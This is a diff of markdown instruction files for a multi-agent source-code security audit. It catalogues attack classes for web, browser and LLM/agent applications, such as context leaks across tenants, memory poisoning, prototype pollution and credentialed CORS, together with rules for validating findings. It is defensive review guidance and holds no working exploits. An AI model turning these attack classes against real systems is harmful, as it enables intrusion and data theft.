`needs_validation`. -**Cross-session / multi-tenant context bleed** -Conversation history, embeddings, or the KV/prompt cache keyed too broadly, so one user's context appears in another's session. Trace the cache/session key: is it scoped per user, or is there a path where a shared key mixes tenants? Related: retrieval (vector or keyword search) that lacks a per-tenant metadata/ACL filter at query time pulls another tenant's chunks into context — IDOR at the retrieval layer; confirm the query itself applies the tenant filter, not just that documents carry a tenant field. These are code bugs (bad cache key, shared buffer, unfiltered query), not model behavior — verify them in the storage/retrieval layer. +**Sensitive context extraction** +The assembled context contains credentials, another user's data, private source, or policy values that themselves grant access, and user-influenced output exposes them. Read prompt assembly and data-fetch code. Disclosure of generic instructions or behavior that does not cross a data boundary is not a finding. ## Universal moves (apply across the above) -- **Draw the boundary before hunting.** Enumerate: what identity do tools run as, what's in the context window, who can write to each context source, where does output go. Most AI findings fall out of a correct map of these four; most AI false positives come from not drawing it. -- **Find the capability, then find who can reach it.** Start from the most dangerous tool (delete, spend, exec, fetch-internal) and work backwards to whether untrusted text can reach its arguments. Power × reachability, same as any privileged interface. +- Draw four maps first: each execution identity, each capability, every writable context or memory source, and each output destination. Then connect the principal at the start to the authority at the end. +- Start at side-effecting tools and work backward through dispatcher, schema, confirmation, model context, retrieval, and ingestion. Start at durable memory reads and trace every writer. +- Compare direct, queued, retry, resume, batch, and delegated paths for the same action. The strongest gate must apply after arguments are final and before every side effect. ## Validation rules (apply before reporting ANY finding here) -1. **Name the boundary crossed.** State exactly who the attacker is, whose session/identity the payload executes in, and what they get that they couldn't get directly. If attacker and victim are the same principal and the capability is one they already have, it is not a finding. -2. **For confused-deputy / excessive-agency claims, prove both halves.** Show (a) the tool performs no per-resource check scoped to the requesting user, AND (b) the action is one the user could not perform through a normal authenticated request. A shared service credential with per-user query scoping fails both tests and is not a finding. -3. **Cite the trusting line and prove the taint reaches it.** For tool-argument and output findings, show the concrete sink (the `exec`/`query`/`fetch`/`innerHTML`) with model-influenced data reaching it unvalidated; for extraction/disclosure findings, cite the prompt-assembly code and confirm the secret or cross-tenant data is really in the context. If you can't cite the code, you have a black-box observation, not a finding. -4. **Don't assert capabilities you can't see in source.** Claims that depend on deployment facts not in the repo — whether an "internal-only" endpoint is actually unreachable by the user, what a tool's target really exposes, which client renders the output — are unverifiable from source. If the user could reach the same thing directly (flat network, same origin), it is not a privilege crossing. Confirm the capability and the boundary in code, or mark it unverifiable rather than reporting it. -5. **Return ONLY confirmed findings** with the boundary crossed, the trusting code path, and the observable result — or "No exploitable AI/LLM issues found" if that's honest. +1. Name the crossed boundary and observable result: attacker, affected principal or shared resource, execution identity, target, and unauthorized or unrequested action or disclosure. +2. For confused-deputy authority claims, prove the tool lacks requester-and-resource authorization and that the attacker cannot perform the same action normally. For action-binding claims, instead prove attacker-controlled content caused an action under the affected principal's authority that the principal did not intentionally request or approve. Valid generic authorization does not establish that intent. +3. For memory or retrieval claims, cite both the attacker-controlled write and the later cross-principal read or privileged decision. A shared record without a reachable consumer is not enough. +4. For action binding, establish the intentional request or normalized approved object, if any, and compare it with the object the handler uses. Confirm a locally observable unrequested action, mutation, duplicate, or authority change without extending the test into harmful execution. For schema disagreement, compare the normalized validated object with the handler's object. +5. For MCP identity claims, verify the authenticated connection, request correlation, tool namespace, and effective credential. Mark `needs_validation` if external server identity or deployment routing is required. +6. Return `confirmed` findings only with a complete source trace and meaningful result. Return `needs_validation` for a specific unresolved boundary fact and state the bounded local or owner-observed check needed to resolve it. diff --git a/.agents/skills/security-audit/ATTACK-CLASSES.md b/.agents/skills/security-audit/ATTACK-CLASSES.md index 6913771..18a2beb 100644 --- a/.agents/skills/security-audit/ATTACK-CLASSES.md +++ b/.agents/skills/security-audit/ATTACK-CLASSES.md @@ -2,15 +2,29 @@ #### Attack classes — choose and split based on Phase 1 -Select attack classes relevant to the application type. Not every class applies to every codebase. The list below is a starting point — add application-specific ones based on Phase 1. For large codebases, split classes per subsystem. +Select attack classes relevant to the application type. Not every class applies to every codebase. The list below is a starting point; add application-specific classes from Phase 1 and split large codebases per subsystem. Frame work as finding, validating, fixing, and prioritizing vulnerabilities. Keep validation to source review and bounded local fixtures; do not develop payload chains, test availability on live services, or take action in shared environments. -> **Native / binary / kernel targets** (C/C++/Rust-unsafe, kernel modules, parsers and decoders, reverse-engineering tooling, runtimes/JITs, firmware): the web-oriented classes below fit poorly. Use the memory-safety, binary, and kernel classes in [MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md) instead of or alongside them. +Use `confirmed` only when source evidence and bounded validation establish the full boundary and meaningful result. Use `needs_validation` when a specific deployment, provider, platform, identity, or runtime fact is unavailable; state the missing fact and the safe owner-observed or local check that resolves it. + +> **Native / binary / kernel targets** (C/C++/Rust-unsafe, kernel modules, parsers and decoders, FFI, concurrent runtimes, binary loaders, JITs, firmware): use the memory-safety, integer/ABI, concurrency, binary-loader, and privileged-interface classes in [MEMORY-SAFETY-AND-BINARY.md](MEMORY-SAFETY-AND-BINARY.md). +> +> **AI / LLM / agent targets** (chatbots, RAG, persistent memory, tool-calling agents, MCP servers/clients, prompt assembly, or model-controlled actions): use the context, memory-poisoning, action-binding, tool-schema, MCP-identity, and output classes in [AI-AND-LLM.md](AI-AND-LLM.md). +> +> **HTTP, web, and identity targets** (ordinary web apps, APIs, reverse proxies, CDNs, gateways, custom HTTP parsers, sessions, CSRF, JWT, OAuth/OIDC, SAML, MFA, passkeys, account recovery/linking, API keys, or mTLS): use [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md). +> +> **Client-side and browser targets** (SPAs, browser extensions, embedded webviews, service workers, browser storage, cross-window messaging, CORS, WebSockets, or DOM rendering): use [CLIENT-SIDE.md](CLIENT-SIDE.md). +> +> **Supply-chain and release targets** (dependency resolution, generated inputs, CI, release/signing/promotion, updates, plugins, or extensions): use [SUPPLY-CHAIN-AND-RELEASE.md](SUPPLY-CHAIN-AND-RELEASE.md). +> +> **Cloud and deployment targets** (IAM, infrastructure as code, containers/Kubernetes, service mesh, serverless/edge, ingress, provider events, or runtime configuration): use [CLOUD-AND-DEPLOYMENT.md](CLOUD-AND-DEPLOYMENT.md). +> +> **Protocol, RPC, and messaging targets** (gRPC, GraphQL transports, Protobuf/Cap'n Proto/Thrift, custom protocols, queues, brokers, pub/sub, webhooks, or streaming RPC): use [PROTOCOLS-RPC-AND-MESSAGING.md](PROTOCOLS-RPC-AND-MESSAGING.md). > -> **AI / LLM / agent targets** (chatbots, RAG pipelines, tool-calling agents, MCP servers/clients, anything that builds prompts from untrusted input or acts on model output): use the prompt-injection, agency, and output-handling classes in [AI-AND-LLM.md](AI-AND-LLM.md) alongside the classes below. +> **Resource-exhaustion and availability targets** (untrusted work can consume shared CPU, memory, disk, connections, workers, queues, quotas, or operator-owned spend): use [RESOURCE-EXHAUSTION-AND-AVAILABILITY.md](RESOURCE-EXHAUSTION-AND-AVAILABILITY.md). > -> **HTTP-protocol and auth targets** (reverse proxies, CDNs, API gateways, custom HTTP parsers, and anything implementing sessions, JWT, OAuth/OIDC, or SAML): use the request-framing, cache, and auth-protocol classes in [WEB-PROTOCOL-AND-AUTH.md](WEB-PROTOCOL-AND-AUTH.md) alongside the classes below. +> **Data-isolation and lifecycle targets** (multi-tenant stores, caches/search, object links, analytics, export/backup, migration, deletion, retention, or restore): use [DATA-ISOLATION-AND-LIFECYCLE.md](DATA-ISOLATION-AND-LIFECYCLE.md). > -> **Client-side / browser targets** (SPAs, browser extensions, embedded webviews, anything using `postMessage`, CORS, or WebSockets, or that renders untrusted content in the DOM): use the DOM-injection, messaging-trust, and UI-redress classes in [CLIENT-SIDE.md](CLIENT-SIDE.md) alongside the classes below. +> **Desktop, mobile, and local-IPC targets** (native apps, deep links, webview bridges, exported components, privileged helpers, local daemons, Unix sockets/XPC/Binder/D-Bus): use [DESKTOP-MOBILE-AND-LOCAL-IPC.md](DESKTOP-MOBILE-AND-LOCAL-IPC.md). **Injection** (subagent_type: `general`) Trace untrusted input from entry point to dangerous sink. What counts as a "dangerous sink" depends on the application: @@ -18,12 +32,12 @@ Trace untrusted input from entry point to dangerous sink. What counts as a "dang - Libraries: any function that processes caller-supplied data without validation — buffer operations, parsers, format strings - CLI tools: shell command construction, file path handling, environment variable interpolation - Services: query construction, message serialization, log injection, LDAP/XPATH queries -- Client-side (browser/JS): DOM XSS, prototype pollution, `postMessage`/origin trust, and other browser-side classes — see [CLIENT-SIDE.md](CLIENT-SIDE.md) +- Client-side (browser/JS): DOM XSS, prototype pollution, `postMessage`/origin trust, and other browser-side classes — covered by the [CLIENT-SIDE.md](CLIENT-SIDE.md) companion blocks when selected -Don't just check the obvious direct paths. Look for indirect injection: data stored safely, then retrieved and used in a dangerous context by different code. Look for injection through field names, keys, headers, and metadata — not just values. Look for injection into secondary systems (logs, caches, search indexes, analytics). +Do not stop at the obvious direct paths. Look for indirect injection: data stored safely, then retrieved and used in a dangerous context by different code. Look for injection through field names, keys, headers, and metadata — not just values. Look for injection into secondary systems (logs, caches, search indexes, analytics). **Access control** (subagent_type: `general`) -Can a caller do something they shouldn't? Go beyond checking whether permission checks exist — verify they check the *right* permission for the *right* resource via the *right* mechanism: +Verify that a caller cannot do something outside its authority. Go beyond checking whether permission checks exist — verify they check the *right* permission for the *right* resource via the *right* mechanism: - Is there a path to the same state change that checks a different (weaker) permission? - Can a field in the request body override what the permission system intended to restrict? - Are there endpoints that gate on authentication but forget authorization? @@ -48,59 +62,59 @@ For complex access models, split into separate agents for auth bypass vs authori - What happens when crypto operations fail? Does the error path fall back to no-crypto? **Business logic** (subagent_type: `general`) -This is where the real bugs hide. Standard scanners can't find logic errors. For each major workflow: +Hunt logic errors by hand: standard scanners cannot find them, and they yield high-impact findings. For each major workflow: - **State machine violations**: Can you skip steps? Go backwards? Reach an invalid state? What happens if you replay a completed flow? What about partial failure — if step 2 of 3 fails, is step 1 rolled back? - **Race conditions with business impact**: Concurrent operations that produce invalid states (double-spend, double-approve, lost updates). Focus on operations that check-then-act non-atomically. - **Numeric/quantity manipulation**: Negative values, zero values, overflow, precision loss, type coercion between string and number. - **Access boundary violations**: Not "does the permission check exist" but "is it the right check for the business rule?" Can input to one operation bypass a restriction enforced on a different operation for the same effect? - **Implicit trust assumptions**: Data from storage, config, other components, or plugins assumed safe because "we validated it on the way in." What if a different code path wrote it? - **Time-based logic**: Expiry checks, scheduling, rate windows, clock skew. What happens at exact boundary moments? What about timezone differences between components? -- **Default and fallback behavior**: What's the security posture when config is missing? When a feature flag is off? When a dependency is unavailable? When the system is mid-migration? +- **Default and fallback behavior**: What is the security posture when config is missing? When a feature flag is off? When a dependency is unavailable? When the system is mid-migration? **Feature abuse and data leakage** (subagent_type: `general`) -Legitimate features used for unintended purposes. Don't look for bugs in the code — look for bugs in the design: +Legitimate features used for unintended purposes. Look for bugs in the design, not only in the code: - **Export/backup as exfiltration**: Can a low-privilege user trigger an export, snapshot, or backup that includes data above their access level? Can they export other users' data? Does the export include deleted/draft/private content? Revision history that was supposed to be pruned? -- **Import/restore as injection**: Can import overwrite existing data? Can it create records that bypass normal validation? Can it inject content into collections the user doesn't have write access to? Does it respect the same permission model as the UI? -- **Search/filter/sort as oracle**: Can search queries reveal whether content exists that the user can't directly access? Do filter parameters let users probe statuses, roles, or fields they shouldn't know about? Does sorting by a hidden field reveal its values through result ordering? -- **Enumeration through side effects**: Do error messages differ between "doesn't exist" and "you don't have access"? Do response times differ? Response sizes? HTTP status codes? Can you enumerate users through password reset, invite, or registration flows? +- **Import/restore as injection**: Can import overwrite existing data? Can it create records that bypass normal validation? Can it inject content into collections the user has no write access to? Does it respect the same permission model as the UI? +- **Search/filter/sort as oracle**: Can search queries reveal whether content exists that the user cannot directly access? Do filter parameters let users probe statuses, roles, or fields they should not know about? Does sorting by a hidden field reveal its values through result ordering? +- **Enumeration through side effects**: Do error messages differ between "does not exist" and "no access"? Do response times differ? Response sizes? HTTP status codes? Can you enumerate users through password reset, invite, or registration flows? - **Preview/draft/staging leakage**: Are preview tokens scoped to one item or do they unlock broader access? Can draft content be discovered through search, RSS feeds, sitemaps, or API listing endpoints? Can cache headers cause a CDN to serve private content publicly? - **Notification/webhook as SSRF**: Can a user set a notification URL, webhook URL, or callback URL that the server fetches? Is it validated against internal networks? What about after a redirect? -**Chained attacks and trust boundaries** (subagent_type: `general`) -Individual safe behaviors that become dangerous in combination. Think about the full system: -- **Multi-step chains**: Map out what a low-privilege user CAN do, then look for combinations. Info disclosure (learning a resource ID) + IDOR (accessing it directly) + missing rate limit (brute-forcing the ID space). Open redirect + OAuth callback = token theft. Benign XSS in a low-value context + CSRF to escalate it. -- **Cross-component trust gaps**: Component A validates input and passes it to component B. Does B re-validate or trust A? What if A's validation is subtly different from what B needs (e.g., A allows 255 chars but B truncates at 128, creating a different string)? What about plugin/extension trust — can third-party code manipulate core state, bypass permission hooks, or access storage directly? -- **Second-order attacks**: Data safe when stored but dangerous when used in a different context. A field name safe in SQL becomes a key in a JSON path expression. A slug safe in a URL becomes part of a file path. Content stored HTML-escaped gets double-escaped or rendered in a context that expects raw text. Config values stored as strings get parsed as URLs, regexes, or templates. -- **Scope and capability escalation**: Tokens, API keys, or OAuth scopes that grant broader access than their name implies. A `read` scope that also allows listing draft content. Session cookies that survive a role downgrade. Plugin capabilities that provide a stepping stone to higher access. MCP or AI tool integrations that inherit the user's full session. -- **Timing and ordering**: Can you use a feature before setup/migration is complete? Act on a resource between soft-delete and hard-delete? Use a token between revocation and cache expiry? Exploit the gap between two non-atomic operations (check-then-act, read-then-write, validate-then-use)? -- **Rollback and recovery abuse**: What happens when an operation is undone? Undelete, restore from backup, revert a revision, cancel a pending action. Does the rollback restore more than intended? Does it bypass current permissions? Can you restore a resource into a state that's no longer valid? +**Chained vulnerabilities and trust boundaries** (subagent_type: `general`) +Individually allowed or contained behavior can become a vulnerability when another component or lifecycle step relies on a stronger guarantee: +- **Multi-step boundary failures**: Map what a low-privilege principal may read, write, invoke, and retain, then connect only concrete outputs to later trust decisions. Confirm each prerequisite and do not assume a downstream effect. +- **Cross-component trust gaps**: Component A validates input and passes it to component B. Compare the exact guarantee A produces with what B assumes, including truncation, type coercion, normalization, tenant scope, and plugin/extension access. +- **Second-order use**: Data safe when stored may become dangerous in a later context. A field name becomes a JSON path, a slug becomes a file path, escaped text enters raw rendering, or a stored string becomes a URL, regex, template, or policy expression. +- **Scope and capability growth**: Token, API-key, plugin, OAuth, MCP, or AI capabilities become broader after delegation, refresh, caching, role change, or composition. Name the concrete operation the resulting principal should not have. +- **Timing and ordering**: Review setup, migration, soft-delete, revoke/cache expiry, check/use, and validate/consume windows. Confirm stale state is accepted before reporting. +- **Rollback and recovery**: Undelete, restore, revision rollback, and cancellation must apply current ownership, validation, and authorization. Confirm which invalid state is restored. **Wildcard** (subagent_type: `general`) -You are not given a category. You are given the codebase and told to break it. +You are not given a category. Find vulnerabilities outside the standard classes already assigned. -Ignore the standard vulnerability classes — other agents are covering those. Your job is to find the thing nobody thought to look for. Read code that looks boring. Follow functions that seem unrelated to security. Get curious about the weird stuff. +Read code that looks boring or disconnected from security. Follow incomplete, experimental, compatibility, and fallback features, but retain the same concrete boundary and validation requirements as every other class. -Some starting points, but don't limit yourself to these: -- What's the strangest code in the codebase? Why does it exist? What happens if it's abused? +Use these starting points, but do not limit yourself to them: +- What is the strangest code in the codebase? Why does it exist? What happens if it is abused? - Are there any features that feel half-finished, experimental, or bolted on? Those have the weakest security because they got the least review. -- What happens if you use the API in a way the frontend never would? The UI constrains users, but the API doesn't. What API calls are possible but never made by the client? -- Are there any hidden or undocumented endpoints, parameters, headers, or features? Look at route registrations, middleware, and config for things that aren't in the docs. -- What happens when you mix features that weren't designed to work together? Localization + preview + caching. Import + plugins + webhooks. OAuth + impersonation + API keys. +- What happens if you use the API in a way the frontend never would? The UI constrains users, but the API does not. What API calls are possible but never made by the client? +- Are there any hidden or undocumented endpoints, parameters, headers, or features? Look at route registrations, middleware, and config for things that are not in the docs. +- What happens when you mix features that were not designed to work together? Localization + preview + caching. Import + plugins + webhooks. OAuth + impersonation + API keys. - Is there anything interesting in the git history? Reverted security fixes, commented-out auth checks, secrets that were committed then removed (still in history). -- What would you do if you had a valid account but wanted to cause maximum damage without being detected? Not escalation — sabotage. Corrupting data, poisoning caches, exhausting resources, creating confusing state. -- Are there any operations that are irreversible? What if you trick an admin into performing one? +- Which valid-account actions affect other users, shared integrity, availability, or operator-owned cost? Verify containment, quotas, authorization, and recovery around those actions. +- Which operations are irreversible or require elevated confirmation? Bind authorization and approval to the final principal, action, and resource. - What assumptions does the code make about the environment? That the database is local, that the clock is accurate, that DNS is trustworthy, that the filesystem is case-sensitive? -- Look at the test files — what are they NOT testing? What edge cases did the developer think about (tests exist) vs. what they didn't (no tests)? +- Look at the test files — what are they **not** testing? Compare the edge cases the developer thought about (tests exist) with the ones they did not (no tests). -Follow rabbit holes. If something looks weird, dig. If a function has a comment explaining why it's safe, verify the explanation. If a variable is named `temp` or `hack` or `legacy`, read every line of it. +Pursue anomalies inside your assigned scope until the invariant is settled. If something looks strange, read it until you can state whether it is safe. If a function has a comment explaining why it is safe, verify the explanation. If a variable is named `temp` or `hack` or `legacy`, read it closely. **Obvious things** (subagent_type: `general`) -The other agents are hunting for subtle bugs. This agent checks the dumb stuff that's easy to overlook because everyone assumes someone else already checked it: +Other agents hunt subtle bugs. This agent checks the basic exposures that are easy to overlook because everyone assumes someone else already checked them: - Are there any hardcoded passwords, API keys, tokens, or secrets in the source? (grep for `password`, `secret`, `apikey`, `token`, `Bearer`, `-----BEGIN`, common default passwords) - Are there any TODO/FIXME/HACK/XXX comments that reference security? (`TODO: add auth`, `FIXME: validate input`, `HACK: skip permission check`) - Is debug mode / dev mode properly gated? Can it be enabled in production via environment variable, query parameter, or header? - Are there test/example/seed credentials that work in production? -- Is there a `/debug`, `/admin`, `/test`, `/status`, `/health`, `/metrics`, `/env`, `/.env`, `/config` endpoint that's unprotected? +- Is there a `/debug`, `/admin`, `/test`, `/status`, `/health`, `/metrics`, `/env`, `/.env`, `/config` endpoint that is unprotected? - Are there any `.env`, `.env.local`, `credentials.json`, `*.pem`, `*.key` files checked into the repo? - Does the `.gitignore` actually cover secrets, uploads, and local config? - Are dependencies pinned? Are there known CVEs in the dependency tree? (check lockfiles) @@ -111,6 +125,6 @@ The other agents are hunting for subtle bugs. This agent checks the dumb stuff t - Is TLS enforced? Are there any HTTP-only endpoints? - Are error responses in production returning stack traces, internal paths, or SQL errors? -This agent doesn't need to be creative. It needs to be thorough and literal. Check every item. Report what it finds. +This agent does not need to be creative. It needs to be thorough and literal. Check every item. Report each result. -IMPORTANT: For any finding this agent reports, it must verify the full code path, not just surface appearance. If a cookie is missing `HttpOnly`, check whether the cookie contains security-sensitive data and whether JS needs to read it by design. If an error message contains a field name, check whether the field is ever actually populated with sensitive data. A flag is not a finding — trace the impact before reporting. +**Important**: For any finding this agent reports, it must verify the full code path, not just surface appearance. If a cookie is missing `HttpOnly`, check whether the cookie contains security-sensitive data and whether JS needs to read it by design. If an error message contains a field name, check whether the field is ever actually populated with sensitive data. A flag is not a finding — trace the impact before reporting. diff --git a/.agents/skills/security-audit/CLIENT-SIDE.md b/.agents/skills/security-audit/CLIENT-SIDE.md index d5901bd..8ba673e 100644 --- a/.agents/skills/security-audit/CLIENT-SIDE.md +++ b/.agents/skills/security-audit/CLIENT-SIDE.md @@ -2,66 +2,82 @@ #### When to use this file -Reach for this file when meaningful trust decisions or untrusted rendering happen in the browser: single-page apps, browser extensions, embedded webviews, and anything that renders attacker-influenceable content into the DOM, receives cross-window messages, opens WebSockets, or serves credentialed cross-origin responses. These bugs live in code the server never executes — the fragment after `#`, `window.name`, a `postMessage` payload — so server-side escaping and the classes in `ATTACK-CLASSES.md` don't cover them. +Reach for this file when meaningful trust decisions or untrusted rendering happen in a browser: single-page apps, browser extensions, embedded webviews, service workers, offline applications, and code that renders attacker-influenceable content into the DOM, receives cross-window messages, or uses browser storage. These paths include sources the server never sees, such as URL fragments, `window.name`, `postMessage`, and previously cached content. -Use alongside `ATTACK-CLASSES.md`. The injection class there covers server-side sinks; this file covers the browser-side source→sink paths, cross-origin trust, and UI-redress classes that only exist client-side. - -Pick the relevant classes based on Phase 1. Split per surface (DOM rendering, message/WebSocket handlers, auth-carrying endpoints) for large front-ends. +Use alongside `ATTACK-CLASSES.md`. This file covers browser sources and sinks, origin boundaries, browser persistence, and cross-site state oracles. Use `DESKTOP-MOBILE-AND-LOCAL-IPC.md` for the native side of a webview bridge, and `WEB-PROTOCOL-AND-AUTH.md` for server-side CSRF, sessions, and auth callbacks. ## Core discipline (include in every agent prompt for this domain) ``` -- Client-side taint needs a controllable SOURCE and an executing SINK on the client path. A source with no sink, or a sink fed only server-rendered trusted data, is not a finding. Name both and show untrusted data reaching the sink unsanitized. -- The impact must cross to a victim or cross an origin. XSS in the attacker's own DOM, or a "leak" of the attacker's own data, is not a finding. State whose session executes it or whose cross-origin data it steals. -- Framework auto-escaping is a real mitigation. React/Vue/Angular escape interpolation by default — the finding is where the code opts OUT (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrust*`, `$sce.trustAs*`). Do not report escaped interpolation. -- A missing header or attribute (X-Frame-Options, frame-ancestors, rel=noopener, SameSite) is only a finding with a concrete sensitive action behind it. A bare missing flag with no state-changing action or credentialed cross-origin read is a hardening note. +- A client-side candidate needs a controllable source and an executing or disclosing sink. Name both and show attacker-influenced data reaching the sink. +- The impact must reach a victim's session, another origin, or shared persistence. Self-injection and disclosure of the attacker's own data are not findings. +- Framework escaping, browser same-origin policy, CSP, COOP/CORP, service-worker scope, and modern noopener defaults are real controls. Verify them before assigning impact. +- Browser storage and caches are shared by origin and may outlive login state. Identify who writes, who reads, and which account, tenant, or worker lifecycle clears each record. +- Use `confirmed` only for complete source evidence plus bounded local browser tests. Use `needs_validation` when renderer, extension permission, deployed header, or browser-policy behavior is required but unavailable. ``` -## DOM-based injection attack classes (subagent_type: `general`) +## DOM and object-state attack classes (subagent_type: `general`) **DOM-based XSS** -Trace client-side sources — `location.hash`/`search`/`href`/`pathname`, `document.referrer`, `window.name`, `postMessage` data, `document.cookie` — into execution sinks: `innerHTML`/`outerHTML`, `document.write`, `eval`, `Function`, `setTimeout`/`setInterval` with a string argument, `element.src`/`href` set to a `javascript:` URI, jQuery `$(...)`/`.html()`, or framework escape hatches (`dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrustHtml`). The bug is source→sink with no sanitization *on the client path*; server-side escaping never sees fragment or `window.name` data. +Trace `location` fields, `document.referrer`, `window.name`, message data, storage, and browser-controlled document state into `innerHTML`, `outerHTML`, `document.write`, string-evaluating APIs, executable URLs, jQuery HTML APIs, or framework escape hatches. Interpolation escaped by the framework is not a finding. **DOM clobbering** -Attacker-injected `id`/`name` attributes — surviving an HTML sanitizer that strips script but allows attributes — that shadow a global the script later reads (`window.config`, a `form.action`, a flag checked before initialization). Look for code reading `window.X`/`document.X` that an injected element named `X` can override. Requires a markup-injection sink that permits `id`/`name`. +Attacker-injected `id` or `name` attributes shadow a global, form property, configuration object, or initialization flag later trusted by code. Require both a markup path that preserves the attribute and a security-relevant use of the clobbered value. -## Client-side trust and messaging attack classes (subagent_type: `general`) +**Prototype pollution and gadget chain** +An attacker-controlled key reaches a recursive write such as deep merge or path assignment and modifies prototype state. Then a reachable gadget consumes the polluted property to change authorization, execution, navigation, or rendering. `JSON.parse`, a shallow copy, or pollution without a gadget is not enough. -**postMessage origin trust** -A `message` handler that acts on `event.data` (writes the DOM, calls a privileged function, stores a token) without checking `event.origin` against an allowlist, or with a weak check (`indexOf`, `startsWith`, unanchored regex, `endsWith` on the host). Also the send side: `postMessage(data, '*')` leaking data to any embedder. Confirm the handler does something security-relevant with the data. +## Cross-origin messaging and network attack classes (subagent_type: `general`) -**Cross-site WebSocket hijacking (CSWSH)** -A WebSocket handshake authenticated only by ambient cookies, with no `Origin` check and no per-session CSRF token — an attacker page opens a socket in the victim's authenticated context and reads/writes their data. Find the upgrade handler; check whether it validates `Origin` and binds to a token, not just the cookie. +**`postMessage` origin and source trust** +A handler performs a sensitive action with `event.data` without an exact origin allowlist and, where multiple frames share an origin, the expected `event.source`. On the send side, sensitive data sent to `*` reaches an unintended embedder. Weak substring, prefix, suffix, or unanchored-regex origin matching is not an origin check. -**CORS with credentials** -A server that reflects the request `Origin` into `Access-Control-Allow-Origin` while sending `Access-Control-Allow-Credentials: true`, or allowlists `null` or a weak suffix match — any origin then reads authenticated responses. The finding is reflection or weak-match *with credentials*, not a wildcard alone (`*` with credentials is rejected by browsers). +**Cross-site WebSocket request use** +A WebSocket upgrade accepts ambient cookies from an untrusted origin without an `Origin` check or channel-specific token, allowing the victim's session to read or mutate data. Confirm both the upgrade behavior and a security-relevant message handler. -## UI-redress and navigation attack classes (subagent_type: `general`) +**Credentialed CORS trust** +The server reflects or weakly matches `Origin` while allowing credentials and returns sensitive responses. A bare wildcard with credentials is rejected by browsers; report only the actual reflected/allowed origin path and cross-origin data or mutation. -**Clickjacking** -A state-changing action (transfer, delete, grant, confirm) reachable in a framed page with no `X-Frame-Options: DENY`/`SAMEORIGIN` and no `frame-ancestors` CSP and no UI framebusting. A missing frame guard on a read-only page with no sensitive action is not a finding — require the action. +## Service-worker and browser-storage attack classes (subagent_type: `general`) -**Reverse tabnabbing** -A link whose target is attacker-influenceable, opened with `target="_blank"`, letting the opened page rewrite `window.opener.location` to a phishing origin. Modern browsers imply `noopener` for `target="_blank"`, so this is a finding only where the code sets `rel="opener"` explicitly, uses `window.open` without `noopener`, or the threat model includes older browsers — check before reporting. +**Service-worker registration and scope takeover** +Attacker-influenceable content can become the registered worker script, control a path that receives an over-broad `Service-Worker-Allowed` scope, or alter update imports without integrity control. Verify the final script URL, response MIME type, origin, scope, and who controls every imported script. A normal same-origin worker with intended scope is not a defect. -**Client-side open redirect / navigation** -A navigation built from a client source (`location = params.get('next')`, `location.hash` fed into `location.href`, a router redirect) with no allowlist — including `javascript:`/`data:` schemes that promote the redirect into XSS. Distinct from a server open-redirect: the sink is in JS, so the server never sees it. +**Service-worker cache and identity confusion** +The worker caches personalized responses without including account, tenant, authorization state, or request mode in its policy, then serves them after account switch or logout. Review fetch-event routing, cache names and keys, navigation fallbacks, cache cleanup, and whether error/offline paths return another user's prior response. -## Prototype pollution attack classes (subagent_type: `general`) +**Browser-storage disclosure and stale authorization** +Tokens, private responses, draft data, or authorization decisions remain in `localStorage`, `sessionStorage`, IndexedDB, Cache Storage, extension storage, or client state and become readable by another account or less-trusted same-origin component. Storage of a token alone is not a finding; require a realistic reader with less authority, or continued use after revocation/logout. -**Prototype pollution and gadget chain** -An attacker-controlled key (`__proto__`, `constructor.prototype`) reaching a *nested/recursive* write — a deep merge, `lodash.set`-style path assignment, `obj[a][b]=v` with an attacker-controlled segment, or a query-string parser that builds nested objects — that lands on `Object.prototype`. A plain `JSON.parse` or shallow `Object.assign` does NOT pollute. Require the recursive sink AND a gadget that reads the polluted property (an options object checked with `opts.isAdmin`, a template reading a config default, a sink that concatenates a polluted `src`). Pollution with no reachable gadget is not exploitable; the gadget is what turns it into XSS, auth bypass, or (in Node) RCE. +**Cross-context storage and broadcast confusion** +`storage` events, `BroadcastChannel`, shared workers, or origin-wide caches carry identity or commands between tabs without binding them to the current session. Check account switching, private/public windows, tenant changes, and stale tabs that can overwrite newer auth state. + +## Cross-site information leak classes (subagent_type: `general`) + +**XS-Leaks and cross-origin state oracles** +An attacker page can distinguish protected cross-origin state through resource load/error events, frame or window state, redirect behavior, timing, cache state, or response size while the browser attaches victim credentials. Require one concrete secret-bearing predicate such as whether a private object, role, or account exists. Generic timing variance or public-resource availability is not a finding. + +**Window and opener state disclosure** +A cross-origin window's permitted metadata or navigation result reveals protected state, or a retained opener/named-window relationship lets an attacker-controlled page influence a privileged navigation. Check COOP, frame protections, `noopener`, exact origin, and whether the observable state is confidential. + +## UI-redress and navigation attack classes (subagent_type: `general`) + +**Clickjacking** +A framed, state-changing action lacks effective `frame-ancestors`, `X-Frame-Options`, or equivalent UI isolation. Require the sensitive action and confirm it can complete in the framed state; missing headers on read-only content are hardening notes. + +**Client-side navigation confusion** +A client source controls redirect or navigation without scheme and destination policy, including executable `javascript:` or `data:` destinations. Reverse tabnabbing applies only where code explicitly keeps `window.opener`, uses `window.open` without isolation, or supports a browser without implicit `noopener`. ## Universal moves (apply across the above) -- **Start from the sink and walk back to a client source.** Grep the execution sinks (`innerHTML`, `eval`, `document.write`, `dangerouslySetInnerHTML`, `postMessage`, `new WebSocket`) and trace each argument back to `location`/`name`/`referrer`/message data. A sink fed only server-rendered trusted data is not a finding. -- **Server escaping ends where the fragment begins.** Data after `#`, plus `window.name` and cross-window messages, never reaches the server — so server-side filters can't see it. That blind spot is the DOM-XSS goldmine. -- **Enumerate the escape hatches.** In an auto-escaping framework, the candidate list *is* every `dangerouslySetInnerHTML`/`v-html`/`bypassSecurityTrust*`/`$sce.trustAs*` call. Start there. +- Start from DOM, navigation, worker, message, and storage sinks, then trace backward to browser-only and server-controlled sources. Record the browser policy that should stop the path. +- Test account switch, logout, worker update, offline fallback, and stale-tab state with a local test origin and dummy accounts. Do not use production users, origins, or shared services. +- For XS-Leaks, list only predicates proved by source and local browser behavior. Then identify the response headers or rendering choice that would remove the oracle. ## Validation rules (apply before reporting ANY finding here) -1. **Confirm a controllable source AND an executing sink on the client path.** Cite the source (`location.hash`, `event.data`, `window.name`) and the sink (`innerHTML`, `eval`, navigation), and show untrusted data reaching the sink without sanitization. A source with no sink, or a sink fed only trusted data, is not a finding. -2. **For prototype pollution, prove the recursive write AND a gadget.** Show the nested/recursive assignment that 